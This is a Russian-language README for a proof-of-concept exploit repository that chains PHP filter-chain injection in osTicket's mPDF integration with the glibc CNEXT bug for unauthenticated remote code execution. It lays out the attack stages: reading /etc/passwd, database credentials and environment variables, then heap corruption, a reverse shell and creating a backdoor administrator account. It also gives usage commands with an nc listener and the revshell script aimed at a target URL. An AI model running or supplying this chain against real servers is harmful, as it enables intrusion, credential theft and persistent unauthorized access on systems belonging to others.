Полноценный эксплойт, объединяющий внедрение цепочки фильтров PHP с CVE-2024-2961 (CNEXT), для неаутентифицированного удалённого выполнения кода на уязвимых установках osTicket.
Полноценная цепочка эксплойта, объединяющая внедрение цепочки PHP-фильтров с CVE-2024-2961 (CNEXT) для неаутентифицированного удаленного выполнения кода на уязвимых установках osTicket.
Этот репозиторий содержит proof-of-concept эксплойт для CVE-2026-22200, критической уязвимости, затрагивающей osTicket версий ≤ 1.18.2. Эксплойт объединяет две мощные техники:
Результат: Неаутентифицированное удаленное выполнение кода на уязвимых серверах osTicket.
Оценка CVSS: 9.8 (Критическая)
Интеграция mPDF в osTicket позволяет неаутентифицированным пользователям внедрять вредоносные цепочки PHP-фильтров через специально созданные HTML-нагрузки в тикетах поддержки. Это позволяет:
Основная причина: Недостаточная проверка URL-адресов изображений в предоставляемом пользователем HTML перед передачей в mPDF.
Оценка CVSS: 9.8 (Критическая)
Переполнение буфера в iconv() библиотеки glibc при обработке набора символов ISO-2022-CN-EXT. В сочетании с цепочками PHP-фильтров это позволяет:
Уязвимые версии glibc: < 2.39 (Февраль 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. РАЗВЕДКА │
│ └─ Обнаружение osTicket, определение тем с богатым текстом │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. АУТЕНТИФИКАЦИЯ │
│ └─ Самостоятельная регистрация ИЛИ использование существующих │
│ учетных данных │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. ИЗВЛЕЧЕНИЕ ФАЙЛОВ (Цепочки PHP-фильтров) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (учетные данные БД, SECRET_SALT) │
│ ├─ /proc/self/maps (расположение памяти) │
│ └─ /proc/self/environ (переменные окружения) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. ОПРЕДЕЛЕНИЕ ВЕРСИИ LIBC │
│ ├─ Извлечение частичной libc через цепочки фильтров │
│ ├─ Извлечение GNU Build ID │
│ └─ Загрузка полной libc с libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. ЭКСПЛУАТАЦИЯ RCE ЧЕРЕЗ CNEXT │
│ ├─ Генерация нагрузки для разрушения кучи │
│ ├─ Внедрение через ответ на тикет (с исправлениями │
│ выполнения фильтров) │
│ ├─ Триггер через экспорт PDF (сервер падает) │
│ └─ Выполнение реверс-шелла │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ПОСТЭКСПЛУАТАЦИЯ │
│ ├─ Интерактивный реверс-шелл │
│ ├─ Доступ к БД (с использованием извлеченного DBPASS) │
│ └─ Создание бэкдор-учетной записи администратора │
└─────────────────────────────────────────────────────────────────┘
# Клонирование репозитория
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Установка необходимых пакетов
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# ИЛИ
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Терминал 1: Запуск слушателя
nc -lvnp 4444
# Терминал 2: Запуск эксплойта
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# Использование прокси (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080